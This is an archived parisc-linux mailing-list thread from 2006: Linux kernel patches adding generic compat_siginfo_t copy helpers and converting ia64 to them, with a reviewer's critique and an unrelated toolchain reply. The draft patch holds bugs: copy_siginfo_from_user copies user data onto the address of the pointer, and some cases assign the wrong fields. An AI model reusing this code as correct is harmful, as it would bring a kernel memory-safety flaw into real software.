+	 * please be sure this code is fixed accordingly.
+	 * It should never copy any pad contained in the structure
+	 * to avoid security leaks, but must copy the generic
+	 * 3 ints plus the relevant union member.
+	 */
+
+	/* Convert structure, don't leak anything in the copy */
+	memset(&compat_from,'\0',sizeof(compat_siginfo_t));
+
+        /* Always copy si_signo, si_errno, and si_code */
+	compat_from.si_signo = (compat_int_t)(from->si_signo);
+	compat_from.si_errno = (compat_int_t)(from->si_errno);
+	/* si_code is only a (short) value, remove kernel bits. */
+	compat_from.si_code = (short)(from->si_code);
+        
+	err = __put_user(compat_from.si_signo, &to->si_signo);
+	err |= __put_user(compat_from.si_errno, &to->si_errno);
+	err |= __put_user(compat_from.si_code, &to->si_code);
+
+        /* siginfo_t came from userspace, so it is the right
+         * size, no need for conversion
+         */        
+	if (from->si_code < 0) {
+		return __copy_to_user(&to->_sifields._pad, 
+                                      &from->_sifields._pad, 
+                                      SI_COMPAT_PAD_SIZE)
+			? -EFAULT : 0;
+        }
+	
+	switch (from->si_code & __SI_MASK) {
+	case __SI_KILL:
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		break;
+	case __SI_TIMER:
+		compat_from.si_pid = (compat_timer_t)(from->si_tid);
+		compat_from.si_overrun = (compat_int_t)(from->si_overrun);
+		compat_from.si_ptr = (compat_uptr_t)((u64 __force)(from->si_ptr) & 0xffffffffUL);
+		err |= __put_user(compat_from.si_tid, &to->si_tid);
+		err |= __put_user(compat_from.si_overrun, &to->si_overrun);
+		err |= __put_user(compat_from.si_ptr, &to->si_ptr);
+		break;
+	case __SI_POLL:
+		compat_from.si_band = (__ARCH_SI_COMPAT_BAND_T)(from->si_band);
+		compat_from.si_fd = (compat_int_t)(from->si_fd);
+		err |= __put_user(compat_from.si_band, &to->si_band);
+		err |= __put_user(compat_from.si_fd, &to->si_fd);
+		break;
+	case __SI_FAULT:
+		compat_from.si_addr = (compat_uptr_t)((u64 __force)(from->si_addr) & 0xffffffffUL);
+		err |= __put_user(compat_from.si_addr, &to->si_addr);
+#ifdef __ARCH_SI_COMPAT_TRAPNO
+		compat_from.si_trapno = (compat_int_t)(from->si_addr);
+		err |= __put_user(compat_from.si_trapno, &to->si_trapno);
+#endif
+		break;
+	case __SI_CHLD:
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		compat_from.si_status = (compat_int_t)(from->si_status);
+		compat_from.si_utime = (compat_clock_t)(from->si_utime);
+		compat_from.si_stime = (compat_clock_t)(from->si_stime);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		err |= __put_user(compat_from.si_status, &to->si_status);
+		err |= __put_user(compat_from.si_utime, &to->si_utime);
+		err |= __put_user(compat_from.si_stime, &to->si_stime);
+		break;
+	case __SI_RT: /* This is not generated by the kernel as of now. */
+	case __SI_MESGQ: /* But this is */
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		compat_from.si_int = (compat_int_t)(from->si_int);
+		compat_from.si_ptr = (compat_uptr_t)((u64 __force)(from->si_ptr) & 0xffffffffUL);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		err |= __put_user(compat_from.si_int, &to->si_int);
+		err |= __put_user(compat_from.si_ptr, &to->si_ptr);
+		break;
+	default: /* this is just in case for now ... */
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		break;
+	}
+	return err;
+}
+#endif
+
+#ifndef HAVE_ARCH_COPY_SIGINFO_FROM_USER
+int compat_copy_siginfo_from_user(siginfo_t *to, compat_siginfo_t __user *from)
+{
+	int err;
+        u64 scratch;
+
+	if (!access_ok (VERIFY_READ, from, sizeof(compat_siginfo_t)))
+		return -EFAULT;
+	
+	/*
+	 * If you change compat_siginfo_t structure *or* siginfo_t, 
+	 * please be sure this code is fixed accordingly.
+	 */
+
+        /* Always copy si_signo, si_errno, and si_code */
+	err = __get_user(to->si_signo, &from->si_signo);
+	err |= __get_user(to->si_errno, &from->si_errno);
+	err |= __get_user(to->si_code, &from->si_code);
+        
+        /* siginfo_t came from userspace, so it is the right
+         * size, no need for conversion
+         */        
+	if (to->si_code < 0) {
+		return __copy_from_user(&to->_sifields._pad, 
+                                        &from->_sifields._pad, 
+                                        SI_COMPAT_PAD_SIZE)
+			? -EFAULT : 0;
+        }
+	
+	switch (to->si_code & __SI_MASK) {
+	case __SI_KILL:
+		err |= __get_user(to->si_pid, &from->si_pid);
+		err |= __get_user(to->si_uid, &from->si_uid);
+		break;
+	case __SI_TIMER:
+		err |= __get_user(to->si_tid, &from->si_tid);
+		err |= __get_user(to->si_overrun, &from->si_overrun);
+		err |= __get_user(scratch, &from->si_ptr);
+                to->si_ptr = (u64 __user*)scratch;                
+		break;
+	case __SI_POLL:
+		err |= __get_user(to->si_band, &from->si_band);
+		err |= __get_user(to->si_fd, &from->si_fd);
+		break;
+	case __SI_FAULT:
+		err |= __get_user(scratch, &from->si_addr);
+                to->si_addr = (u64 __user*)scratch;
+#ifdef __ARCH_SI_COMPAT_TRAPNO
+		err |= __get_user(to->si_trapno, &from->si_trapno);
+#endif
+		break;
+	case __SI_CHLD:
+		err |= __get_user(to->si_pid, &from->si_pid);
+		err |= __get_user(to->si_uid, &from->si_uid);
+		err |= __get_user(to->si_status, &from->si_status);
+		err |= __get_user(to->si_utime, &from->si_utime);
+		err |= __get_user(to->si_stime, &from->si_stime);
+		break;
+	case __SI_RT: /* This is not generated by the kernel as of now. */
+	case __SI_MESGQ: /* But this is */
+		err |= __get_user(to->si_pid, &from->si_pid);
+		err |= __get_user(to->si_uid, &from->si_uid);
+		err |= __get_user(to->si_int, &from->si_int);
+		err |= __get_user(scratch, &from->si_ptr);
+                to->si_ptr = (u64 __user*)scratch;
+		break;
+	default: /* this is just in case for now ... */
+		err |= __get_user(to->si_pid, &from->si_pid);
+		err |= __get_user(to->si_uid, &from->si_uid);
+		break;
+	}
+	return err;
+}
+#endif
+
+#ifndef HAVE_ARCH_COPY_SIGEVENT_FROM_USER
+int compat_copy_sigevent_from_user(sigevent_t *to, compat_sigevent_t __user *from)
+{
+	int err;
+	u64 scratch;
+	
+	/* copy sigval_t sigev_value 
+	 	int_t sival_int		(same)
+	 	uptr_t sival_ptr	(32 vs 64)*/
+	err = __get_user(to->sigev_value.sival_int, 
+	    		 &from->sigev_value.sival_int);
+	err |= __get_user(scratch, &from->sigev_value.sival_ptr);
+	to->sigev_value.sival_ptr = (u64 __user *)scratch;
+	
+	/* copy int_t sigev_signo 	(same)*/
+	err |= __get_user(to->sigev_signo, &from->sigev_signo);
+	
+	/* copy int_t sigev_notify	(same)*/
+	err |= __get_user(to->sigev_notify, &from->sigev_notify);
+
+	/* never copy _sigev_un padding */
+
+	/* copy int_t _tid 		(same),
+	   good_sigevent() uses this value of */
+	err |= __get_user(to->sigev_notify_thread_id, &from->sigev_notify_thread_id);
+	
+	/* XXX: Do not copy these, they aren't used by
+	   anyone. We would need to distinguish the uses of the union.
+	   copy _sigev_thread
+	  	uptr_t _function	(32 vs 64)
+	  	uptr_t _attribute	(32 vs 64)*/
+	
+	return err;
+}
+#endif
+
+#ifndef HAVE_ARCH_COPY_SIGEVENT_TO_USER
+int compat_copy_sigevent_to_user(compat_sigevent_t __user *to, sigevent_t *from)
+{
+	int err;
+	u32 scratch;
+	
+	/* copy sigval_t sigev_value 
+	 	int_t sival_int		(same)
+	 	uptr_t sival_ptr	(32 vs 64)*/
+	err = __put_user(from->sigev_value.sival_int, 
+	    		 &to->sigev_value.sival_int);
+	scratch = (u32)((u64 __force)from->sigev_value.sival_ptr & 0xffffffffUL);
+	err |= __put_user((compat_uptr_t)scratch, &to->sigev_value.sival_ptr);
+	
+	/* copy int_t sigev_signo 	(same)*/
+	err |= __put_user(from->sigev_signo, &to->sigev_signo);
+	
+	/* copy int_t sigev_notify	(same)*/
+	err |= __put_user(from->sigev_notify, &to->sigev_notify);
+
+	/* never copy _sigev_un padding */
+
+	/* copy int_t _tid 		(same),
+	   good_sigevent() uses this value of */
+	err |= __put_user(from->sigev_notify_thread_id, &to->sigev_notify_thread_id);
+	
+	/* XXX: Do not copy these, they aren't used by
+	   anyone. We would need to distinguish the uses of the union.
+	   copy _sigev_thread
+	  	uptr_t _function	(32 vs 64)
+	  	uptr_t _attribute	(32 vs 64)*/
+	
+	return err;
+}
+#endif
+
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 656476e..298ca08 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -363,7 +363,7 @@ static int ptrace_setsiginfo(struct task
 	siginfo_t newinfo;
 	int error = -ESRCH;
 
-	if (copy_from_user(&newinfo, data, sizeof (siginfo_t)))
+	if (copy_siginfo_from_user(&newinfo, data) != 0)
 		return -EFAULT;
 
 	read_lock(&tasklist_lock);
diff --git a/kernel/signal.c b/kernel/signal.c
index d7611f1..8ef54c0 100644
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -22,6 +22,7 @@
 #include <linux/security.h>
 #include <linux/syscalls.h>
 #include <linux/ptrace.h>
+#include <linux/compat_siginfo.h>
 #include <linux/posix-timers.h>
 #include <linux/signal.h>
 #include <linux/audit.h>
@@ -2095,17 +2096,35 @@ sys_rt_sigpending(sigset_t __user *set, 
 	return do_sigpending(set, sigsetsize);
 }
 
+#ifndef HAVE_ARCH_COPY_SIGINFO_FROM_USER
+
+int copy_siginfo_from_user(siginfo_t *to, siginfo_t __user *from)
+{
+        if(is_compat_task(current))
+                return compat_copy_siginfo_from_user(to,(compat_siginfo_t __user *)from);
+  
+        return copy_from_user(&to, from, sizeof(siginfo_t));
+}
+
+#endif
+
 #ifndef HAVE_ARCH_COPY_SIGINFO_TO_USER
 
 int copy_siginfo_to_user(siginfo_t __user *to, siginfo_t *from)
 {
 	int err;
+	
+	/* Use compat_siginfo_t with 32-bit signals */
+	if(is_compat_task(current)){
+		return compat_copy_siginfo_to_user((compat_siginfo_t __user *)to,from);
+	}
 
 	if (!access_ok (VERIFY_WRITE, to, sizeof(siginfo_t)))
 		return -EFAULT;
 	if (from->si_code < 0)
 		return __copy_to_user(to, from, sizeof(siginfo_t))
 			? -EFAULT : 0;
+	
 	/*
 	 * If you change siginfo_t structure, please be sure
 	 * this code is fixed accordingly.
@@ -2321,7 +2340,7 @@ sys_rt_sigqueueinfo(int pid, int sig, si
 {
 	siginfo_t info;
 
-	if (copy_from_user(&info, uinfo, sizeof(siginfo_t)))
+	if (copy_siginfo_from_user(&info, uinfo))
 		return -EFAULT;
 
 	/* Not even root can pretend to send signals from the kernel.
-- 
1.0.7

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 2/5] Convert ia64 to use generic
	compat_siginfo_t
Date: Sun, 8 Jan 2006 14:37:59 -0500
Lines: 92
Approved: news@gmane.org
Message-ID: <20060108193759.GI3782__45919.290246866$1416623987$gmane$org@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623987 17877 80.91.229.3 (22 Nov 2014 02:39:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:47 +0000 (UTC)
Cc: carlos@parisc-linux.org,
 willy@parisc-linux.org,
 linux-ia64@vger.kernel.org,
 linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: akpm@osdl.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 19:38:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 08 Jan 2006 20:38:52 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F5937D7F3;
	Sun,  8 Jan 2006 12:38:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07235-04; Sun, 8 Jan 2006 12:38:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E5FE7D7B6;
	Sun,  8 Jan 2006 12:38:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E387B7D75E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 12:38:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06884-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 Jan 2006 12:38:20 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 1C6DF7D74D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 12:38:20 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id CFF7723E8D;
	Sun,  8 Jan 2006 14:37:52 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15301-03; Sun, 8 Jan 2006 14:37:52 -0500 (EST)
Original-Received: from tachyon.int.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "tachyon.int.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 7607A23E88;
	Sun,  8 Jan 2006 14:37:52 -0500 (EST)
Original-Received: by tachyon.int.mcmartin.ca (Postfix, from userid 1000)
	id D518CD6C15; Sun,  8 Jan 2006 14:37:59 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Gw+zY14YeSEkSb6WZHQhaXN1IGRvb8Bq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23361

From: Matthew Wilcox <willy@parisc-linux.org>

Convert arch/ia64 to use generic compat_siginfo_t.

Signed-off-by: Matthew Wilcox <willy@parisc-linux.org>
Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

Tony,

This patch has been sitting in parisc-linux for quite some time. Matthew
has been running that tree on his ia64 machines for a while, but I'm not
sure how much testing the ia32 emulation received.

 arch/ia64/ia32/ia32_signal.c |    1 +
 arch/ia64/ia32/ia32priv.h    |   52 ------------------------------------------
 include/asm-ia64/compat.h    |    3 ++
 3 files changed, 4 insertions(+), 52 deletions(-)

55f9c468f33f732cc60793aaa4a425384254290c
diff --git a/arch/ia64/ia32/ia32_signal.c b/arch/ia64/ia32/ia32_signal.c
index aa891c9..cd76bbb 100644
--- a/arch/ia64/ia32/ia32_signal.c
+++ b/arch/ia64/ia32/ia32_signal.c
@@ -24,6 +24,7 @@
 #include <linux/unistd.h>
 #include <linux/wait.h>
 #include <linux/compat.h>
+#include <linux/compat_siginfo.h>
 
 #include <asm/intrinsics.h>
 #include <asm/uaccess.h>
diff --git a/arch/ia64/ia32/ia32priv.h b/arch/ia64/ia32/ia32priv.h
index 68ceb4e..2bc099c 100644
--- a/arch/ia64/ia32/ia32priv.h
+++ b/arch/ia64/ia32/ia32priv.h
@@ -225,58 +225,6 @@ struct stat64 {
 	unsigned int	st_ino_hi;
 };
 
-typedef struct compat_siginfo {
-	int si_signo;
-	int si_errno;
-	int si_code;
-
-	union {
-		int _pad[((128/sizeof(int)) - 3)];
-
-		/* kill() */
-		struct {
-			unsigned int _pid;	/* sender's pid */
-			unsigned int _uid;	/* sender's uid */
-		} _kill;
-
-		/* POSIX.1b timers */
-		struct {
-			compat_timer_t _tid;		/* timer id */
-			int _overrun;		/* overrun count */
-			char _pad[sizeof(unsigned int) - sizeof(int)];
-			compat_sigval_t _sigval;	/* same as below */
-			int _sys_private;       /* not to be passed to user */
-		} _timer;
-
-		/* POSIX.1b signals */
-		struct {
-			unsigned int _pid;	/* sender's pid */
-			unsigned int _uid;	/* sender's uid */
-			compat_sigval_t _sigval;
-		} _rt;
-
-		/* SIGCHLD */
-		struct {
-			unsigned int _pid;	/* which child */
-			unsigned int _uid;	/* sender's uid */
-			int _status;		/* exit code */
-			compat_clock_t _utime;
-			compat_clock_t _stime;
-		} _sigchld;
-
-		/* SIGILL, SIGFPE, SIGSEGV, SIGBUS */
-		struct {
-			unsigned int _addr;	/* faulting insn/memory ref. */
-		} _sigfault;
-
-		/* SIGPOLL */
-		struct {
-			int _band;	/* POLL_IN, POLL_OUT, POLL_MSG */
-			int _fd;
-		} _sigpoll;
-	} _sifields;
-} compat_siginfo_t;

From - Thu Nov 08 21:34:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH 1/5] Add generic compat_siginfo_t
Date: Mon, 9 Jan 2006 15:13:55 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20060109141355.GA22296__35304.1799543009$1416623987$gmane$org@lst.de>
References: <20060108193755.GH3782@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623987 17880 80.91.229.3 (22 Nov 2014 02:39:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:47 +0000 (UTC)
Cc: akpm@osdl.org,
 willy@parisc-linux.org,
 parisc-linux@lists.parisc-linux.org,
 linux-kernel@vger.kernel.org,
 carlos@parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jan 2006 14:14:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 09 Jan 2006 15:14:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2CCE7D72B;
	Mon,  9 Jan 2006 07:14:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14293-01; Mon, 9 Jan 2006 07:14:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 794DB7D722;
	Mon,  9 Jan 2006 07:14:02 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 57B297D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Jan 2006 07:13:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14166-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 9 Jan 2006 07:13:58 -0700 (MST)
Original-Received: from mail.lst.de (verein.lst.de [213.95.11.210])
	by free.linux.hp.com (Postfix) with ESMTP id 7BCC17D63B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Jan 2006 07:13:58 -0700 (MST)
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by mail.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id k09EDu6t022396
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Mon, 9 Jan 2006 15:13:56 +0100
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id k09EDtWf022394;
	Mon, 9 Jan 2006 15:13:55 +0100
Content-Disposition: inline
In-Reply-To: <20060108193755.GH3782@tachyon.int.mcmartin.ca>
User-Agent: Mutt/1.3.28i
X-Spam-Score: -4.901 () BAYES_00
X-Scanned-By: MIMEDefang 2.39
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5QqwYz91eSEkSr6WZHQhaXN1IGRvb4Dc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23362

-mm already has a much better implementation for compat_sys_timer_create
that doesn't require all the sigevent churn in this patch (which btw
doesn't seem to be mentioned in the changelog at all).  But even with
that remove there seems to be a lot of useless ifdef and indirection
in this patch.  Over the next days I'll send out my generic compat
singal bits which don't require all this, but otoh require every
architecture to supply helpers.  If you can make those generic without
all the ifdef an additional header bits all power to you!

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Update] TLS toolchain.
Date: Tue, 10 Jan 2006 15:33:11 +0800
Lines: 27
Approved: news@gmane.org
Message-ID: <43C36337.9040202@tausq.org>
References: <20060108055109.GE17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623987 17882 80.91.229.3 (22 Nov 2014 02:39:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2006 07:33:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 10 Jan 2006 08:33:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6C2247D709;
	Tue, 10 Jan 2006 00:33:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06816-07; Tue, 10 Jan 2006 00:33:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD8337D70A;
	Tue, 10 Jan 2006 00:33:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F7F57D703
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 00:33:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06416-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 00:33:22 -0700 (MST)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 43E297D702
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 00:33:22 -0700 (MST)
Original-Received: from rccomp.stlglobal.com ([192.168.100.200])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1EwE0A-0005Pd-Gf; Tue, 10 Jan 2006 15:33:06 +0800
User-Agent: Thunderbird 1.5 (Windows/20051201)
In-Reply-To: <20060108055109.GE17559@baldric.uwo.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GgaxY1tAeSEkO76WZHQhaXN1IGRvb4CU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23363

> The elf related failures are relatively new and related to binutils.
> ---
> 
